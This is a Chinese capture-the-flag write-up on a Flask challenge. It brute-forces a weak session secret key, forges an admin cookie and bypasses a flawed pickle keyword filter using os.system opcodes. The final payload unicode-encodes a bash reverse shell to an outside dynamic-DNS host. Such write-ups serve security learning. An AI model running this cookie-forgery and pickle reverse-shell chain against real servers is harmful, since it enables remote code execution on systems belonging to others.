题目给了源码
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
分析一下,给出SECRET_KEY的生成方法;/
路由下会检测session是否存在user的键名,如果没有则从admin五个字符中随机复制五个并输出;/admin
路由下判断是否为admin如果是则先进行关键字替换和if判断,然后pcikle反序列化
我们不妨先看下密钥是如何生成的
可以发现是生成四位的随机字符串
那么我们想要伪造cookie就要知道密钥,这里借助工具flask-unsign用密钥字典去爆破得到密钥
我们先生成对应的密钥字典(加上双引号方便使用)
import os
file_path='./key.txt'
with open(file_path, 'w') as f:
for i in range(1,9999):
key = os.urandom(2).hex()
f.write("\"{}\"\n".format(key))
将字典复制到该工具文件夹下,爆破出密钥
(PS: 如果没爆破出来重新生成字典再跑)
然后加密一下
python flask_session_cookie_manager3.py encode -s "8d4a" -t "{'user':'admin'}"
我们访问/admin
然后抓包修改cookie,成功访问
然后分析一下如何pickle反序列化
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
首先将opcode进行关键字替换,然后base64解码赋值给a;接着进行if判断Rirb是否存在变量a中,然后进行pickle反序列化
这里虽然禁用操作符使得难以绕过,但是waf存在逻辑漏洞,也就是说pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然被替换成Os,但是我们还是能执行opcode
payload
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
//pickletools转换一下
0: ( MARK 先传入一个标志到堆栈上,
1: S STRING 'key1' 给栈添加一行string类型数据key1
9: S STRING 'val1' 给栈添加一行string数据val1
17: d DICT (MARK at 0) 将堆栈里面的所有数据取出然后组成字典放入堆栈
18: S STRING 'vul' 放入一个string类型数据vul
25: ( MARK 再传入一个标志
26: c GLOBAL 'os system' c操作码提取下面的两行作为module下的一个全局对象此时就是os.system
37: V UNICODE 'calc' 读入一个字符串,以\n结尾;然后把这个字符串压进栈中
43: o OBJ (MARK at 25) o操作码建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数))
44: s SETITEM 从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上
45: . STOP
因为反弹shell中是需要用到i参数的,而i参数会被检测,但是V操作码是可以识别\u的所以我们可以把我们的代码进行unicode编码然后放入payload中
运行下脚本
import base64
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0035\u0069\u0037\u0038\u0031\u0039\u0036\u0033\u0070\u0032\u002e\u0079\u0069\u0063\u0070\u002e\u0066\u0075\u006e\u002f\u0035\u0038\u0032\u0036\u0035\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
print(base64.b64encode(opcode))
得到payload,然后伪造cookie即可
访问/admin
抓包,修改cookie
反弹成功